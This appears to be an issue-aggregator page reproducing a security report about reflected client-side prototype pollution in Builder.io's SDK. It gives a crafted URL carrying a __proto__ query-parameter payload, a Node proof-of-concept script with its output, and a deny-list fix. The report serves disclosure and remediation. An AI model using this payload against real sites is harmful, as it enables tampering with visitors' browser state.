BuilderIO / BuilderIO/builder

Reflected client-side prototype pollution via Builder Studio preview URL parameter

Open Beginner friendly
#4,824 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
8.8k
Forks
1.2k
Avg merge
1d 6h
Merged PRs (30d)
17

Description

reported via email on 5 July 2026:

Hi team,

`packages/sdks/src/functions/get-content/generate-content-url.ts` reads
`builder.userAttributes.*` query parameters from the page URL whenever the URL contains
`builder.preview=BUILDER_STUDIO`, and passes them through `unflatten()`
(`packages/sdks/src/helpers/flatten.ts`) without validating the key path.

```ts
const queryOptionsForUserAttributes = getUserAttributesFromQueryOptions(queryOptions);
const { userAttributes } = unflatten(queryOptionsForUserAttributes);
```

`unflatten()` has no `__proto__`/`prototype`/`constructor` guard, so a URL such as:

```
https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE
```

pollutes `Object.prototype` in the visitor's browser tab as soon as the SDK builds its next
content-fetch URL, requiring no Builder.io account and only a single click on the crafted link.

We confirmed this live against the unmodified source at commit
`27e443e125c8e7f619335403cc0ecb01e03197a0`. Simulating that URL and calling
`generateContentUrl()`:

- Before: `({}).polluted === undefined`
- After: `({}).polluted === 'PWNED_CLIENT_SIDE'`, on a brand-new, unrelated object in the same
browser context.

### PoC

Environment: cloned repo at commit `27e443e125c8e7f619335403cc0ecb01e03197a0`, Node.js v22.12.0,
`npx tsx`, faking `window`/`document` before import (the standard way to exercise isomorphic
browser-only SDK code from Node, no repo files modified):

```ts
(globalThis as any).document = {};
(globalThis as any).window = {
location: {
search: '?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE',
pathname: '/some-page',
host: 'victim-site.example',
},
};

import { generateContentUrl } from '/packages/sdks/src/functions/get-content/generate-content-url.ts';

console.log('before:', ({} as any).polluted);
const url = generateContentUrl({ apiKey: 'demo-api-key', model: 'page' } as any);
console.log('url:', url.toString());
console.log('after:', ({} as any).polluted);
```

Actual observed output:

```
=== Reflected client-side prototype pollution via URL query string ===

Simulated victim URL: https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE

Host (browser-tab) Object.prototype BEFORE:
({}).polluted = undefined

generateContentUrl() returned (normal Content API request URL):
https://cdn.builder.io/api/v3/content/page?apiKey=demo-api-key&limit=30&noTraverse=true&includeRefs=true&omit=meta.componentsUsed&preview=BUILDER_STUDIO&polluted=PWNED_CLIENT_SIDE&userAttributes=%7B%22urlPath%22%3A%22%2Fsome-page%22%2C%22host%22%3A%22victim-site.example%22%7D

Host (browser-tab) Object.prototype AFTER:
({}).polluted = PWNED_CLIENT_SIDE

*** CONFIRMED LIVE: visiting a crafted URL polluted Object.prototype in the visitor's own browser tab ***
```
(full script available upon request)

This is the same bug class as a separate, more severe issue we are reporting in
`packages/sdks/src/functions/set.ts` (server-side, via content block `bindings`), and the fix is
the same: the older Gen1 SDK's `packages/core/src/classes/query-string.class.ts` already has a
`PROPERTY_NAME_DENY_LIST = ['__proto__', 'prototype', 'constructor']` guard for the equivalent
dotted-path parsing; the same check should be added to `unflatten()` in
`packages/sdks/src/helpers/flatten.ts`.

Contributor guide

No contributing guide indexed for this repository

Research direction

Start at packages/sdks/src/functions/get-content/generate-content-url.ts and trace its user-attribute handling into packages/sdks/src/helpers/flatten.ts. Compare the dotted-path protection in packages/core/src/classes/query-string.class.ts, then verify that crafted __proto__, prototype, and constructor paths no longer modify Object.prototype while normal user attributes still work.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
security
Issue type
Bug
Difficulty
2/5
Estimated time
1-3 hours
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
85/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.